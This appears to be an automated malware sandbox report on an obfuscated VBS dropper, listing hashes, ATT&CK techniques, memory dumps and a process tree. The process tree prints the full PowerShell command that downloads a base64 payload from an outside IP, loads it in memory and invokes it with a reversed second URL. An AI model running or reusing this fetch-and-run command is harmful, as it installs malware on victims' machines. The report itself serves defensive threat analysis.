3a2e31f2844df5cb91eedbf24c0b93de4b0aa08525f733132c2bce0d7ab81acc

Resubmissions

10-11-2024 21:28

241110-1bhk6avgrr 10

Analysis

max time kernel
1792s
max time network
1817s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11-11-2024 02:47

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General

Target

0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819.vbs
Size

195KB
MD5

a4f71409b11c7a677353f1d7b3e0d13a
SHA1

704ec3fdb8f2ee5e39957785f0d03d5268abd5e6
SHA256

0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819
SHA512

0ed1f3d2fff28a0b7977f966b35c65ed3c3c385eecacf5b1feb38c20ecbbb3017b77b4eca584ea342be86e8e3e5baeec2dbdda3de5c85e97658cd9a4892c1a52
SSDEEP

768:r1wsIXCNd5dghna/lS9P0P7SFuumB/bm/:4wCGBC/

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2228	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2228	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2228	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2228	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 2228	1728	WScript.exe	31
PID 1728 wrote to memory of 2228	1728	WScript.exe	31
PID 1728 wrote to memory of 2228	1728	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.om/ort/gmi/moc.nesnez-igoto//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2228-4-0x000007FEF61CE000-0x000007FEF61CF000-memory.dmp

Filesize
4KB

Download
memory/2228-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2228-6-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-7-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-8-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-9-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-10-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/2228-11-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-12-0x000007FEF61CE000-0x000007FEF61CF000-memory.dmp

Filesize
4KB

Download
memory/2228-13-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-15-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download